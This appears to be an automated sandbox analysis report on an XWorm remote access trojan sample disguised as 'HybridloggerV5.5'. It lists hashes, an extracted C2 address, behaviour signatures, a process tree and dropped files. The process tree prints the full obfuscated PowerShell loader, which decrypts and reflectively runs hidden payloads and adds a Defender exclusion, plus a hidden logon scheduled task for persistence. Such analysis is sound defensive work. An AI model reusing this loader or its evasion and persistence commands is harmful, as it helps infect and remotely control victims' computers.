Analysis

  • max time kernel
    590s
  • max time network
    598s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241023-en
  • resource tags

    arch:x64arch:x86image:win11-20241023-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    26/01/2025, 08:10

General

  • Target

    HybridloggerV5.5 (1).exe

  • Size

    937KB

  • MD5

    c9314841cdbf8522e9ee925039d3bfb7

  • SHA1

    1b851459626862fdae6bdc0dd30aadf7a0f905ee

  • SHA256

    9be892fdf9ada41f19c410d1a6510fda9839fc849dc9a69ff292a6b89fe240e7

  • SHA512

    fb6e8ed3ccae472e19b95f9a1a08968fea7a6457b8d30a35d5f49f466fdf34d321c4cc0d427e753a9063d88456277e8c1d592c5ec1413c96593938b4be778bd0

  • SSDEEP

    24576:61P4yldcwy+Q4sUTB95/MbGkR/ntFdHZknwaIZ1cSsDrM:YP4yj4+Q4sUTB95/MbGkfFdmnwanpM

Malware Config

Extracted

Family

xworm

C2

193.161.193.99:24469

Attributes
  • Install_directory

    %Temp%

  • install_file

    USB.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 46 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5 (1).exe
    "C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.5 (1).exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2412
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4832
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:960
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat" "
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1488
        • C:\Windows\system32\net.exe
          net file
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4660
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 file
            4⤵
              PID:1152
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tzbNpPr1z3nGvgbpSokBMPfW5jnpdEOgrRJQ/JKp40o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WGsJ0QdC6jC+sSlmc6qolg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpRNZ=New-Object System.IO.MemoryStream(,$param_var); $zCfEW=New-Object System.IO.MemoryStream; $OjVcm=New-Object System.IO.Compression.GZipStream($HpRNZ, [IO.Compression.CompressionMode]::Decompress); $OjVcm.CopyTo($zCfEW); $OjVcm.Dispose(); $HpRNZ.Dispose(); $zCfEW.Dispose(); $zCfEW.ToArray();}function execute_function($param_var,$param2_var){ $buZKU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xpTey=$buZKU.EntryPoint; $xpTey.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$oovly = 'C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat';$host.UI.RawUI.WindowTitle = $oovly;$ywjFO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oovly).Split([Environment]::NewLine);foreach ($ANKGG in $ywjFO) { if ($ANKGG.StartsWith(':: ')) { $oFhCt=$ANKGG.Substring(3); break; }}$payloads_var=[string[]]$oFhCt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $oovly;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3760
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_901_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_901.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
              4⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1972
            • C:\Windows\System32\WScript.exe
              "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_901.vbs"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:952
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_901.bat" "
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2528
                • C:\Windows\system32\net.exe
                  net file
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4572
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 file
                    7⤵
                      PID:3964
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tzbNpPr1z3nGvgbpSokBMPfW5jnpdEOgrRJQ/JKp40o='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('WGsJ0QdC6jC+sSlmc6qolg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $HpRNZ=New-Object System.IO.MemoryStream(,$param_var); $zCfEW=New-Object System.IO.MemoryStream; $OjVcm=New-Object System.IO.Compression.GZipStream($HpRNZ, [IO.Compression.CompressionMode]::Decompress); $OjVcm.CopyTo($zCfEW); $OjVcm.Dispose(); $HpRNZ.Dispose(); $zCfEW.Dispose(); $zCfEW.ToArray();}function execute_function($param_var,$param2_var){ $buZKU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xpTey=$buZKU.EntryPoint; $xpTey.Invoke($null, $param2_var);}function Add-DefenderExclusion($path_var){ try { Add-MpPreference -ExclusionPath $path_var; } catch { }}$oovly = 'C:\Users\Admin\AppData\Roaming\startup_str_901.bat';$host.UI.RawUI.WindowTitle = $oovly;$ywjFO=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($oovly).Split([Environment]::NewLine);foreach ($ANKGG in $ywjFO) { if ($ANKGG.StartsWith(':: ')) { $oFhCt=$ANKGG.Substring(3); break; }}$payloads_var=[string[]]$oFhCt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));Add-DefenderExclusion $oovly;execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
                    6⤵
                    • Blocklisted process makes network request
                    • Command and Scripting Interpreter: PowerShell
                    • Drops startup file
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of SetWindowsHookEx
                    PID:3584

        Network

        MITRE ATT&CK Enterprise v15

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          3KB

          MD5

          df472dcddb36aa24247f8c8d8a517bd7

          SHA1

          6f54967355e507294cbc86662a6fbeedac9d7030

          SHA256

          e4e0fbc974e6946d20ddfaf22c543fccc4662d28e30530ec710fec149958f9b6

          SHA512

          06383259258a8c32f676ddaf7ea1fec3de7318ff1338f022e03c6b33458f2ce708e073ceb1aa26e3cf37f82dac37c8163b8ebd2de56b8530dffe177845c7adca

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          4fc204cd72f2c3f6149d487b16ea4a83

          SHA1

          ac5f7fae2c1ac704ad559069589844a89c0b7410

          SHA256

          dc706e6f21d6e4b670e36f3ed9772fef5f47d30af28f587f14ccd2f6348d14d8

          SHA512

          d6e90367ab4efcc2364ac7ad18763ba79b3f5ac638cefd1ec651bee9e9b6d3753b24e41bf774ce400024f1befd3b33e33fc89f0ec836e8e8256a39719a303ac4

        • C:\Users\Admin\AppData\Local\Temp\HybridLoggerFixed.bat

          Filesize

          12KB

          MD5

          89a22d3791ca38666c8144725a74497d

          SHA1

          96b672089a3c783e4dd27e8da7c0cc1245d55cfd

          SHA256

          9326ad90526504bfbc876646087bf41a82128fd5d995f624b13ea7ef3e154b94

          SHA512

          6b73d4fde3a673be8ea4aa169382b8aed1577817193545666a18cc83e918a642adf464090f2c1938b0f75f322e8e18e5304bf15c8eda71b4c072aaea5c294b2e

        • C:\Users\Admin\AppData\Local\Temp\HybridloggerV5.bat

          Filesize

          910KB

          MD5

          72ecd938d114e246eeebc8ae430fc2e9

          SHA1

          9ece59be22ceadcb3951093483cc69a76658801d

          SHA256

          4eafc8d12d2e402d7de955ffa3940c070d40dea9f2eda1260962518204304f65

          SHA512

          d2839e5226f9753f5098072b5cb7ab0f30318f3255355ae69fc75efc0ecfced89eb74788716b01a511e2461fa1c21052a336c1873aa82ef411cb710c4f14059e

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ewp133a.qdi.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\startup_str_901.vbs

          Filesize

          115B

          MD5

          81c4ae07dea61c76492cb2b8d1257ec0

          SHA1

          da26d94a81735088e17e058e1e87c6006d3b7b65

          SHA256

          f370a3994c7d5e18929c28d669a1b105dee7b3a5c01ecce7899c742a71164640

          SHA512

          2af5fedaae09b581cb5c16b72a08e1fb927232d450e618d0f6af5a78f1b22e2c47516199918454e722fa8a9aa3b740d6c23d39d76912ef791f19f5c422acae4a

        • memory/2412-0-0x00007FFED75B3000-0x00007FFED75B5000-memory.dmp

          Filesize

          8KB

        • memory/2412-1-0x00000000006A0000-0x0000000000790000-memory.dmp

          Filesize

          960KB

        • memory/3584-50-0x0000013C3F3F0000-0x0000013C3F406000-memory.dmp

          Filesize

          88KB

        • memory/3760-19-0x000001EB7A120000-0x000001EB7A142000-memory.dmp

          Filesize

          136KB

        • memory/3760-20-0x000001EB7A110000-0x000001EB7A118000-memory.dmp

          Filesize

          32KB

        • memory/3760-21-0x000001EB7A3E0000-0x000001EB7A418000-memory.dmp

          Filesize

          224KB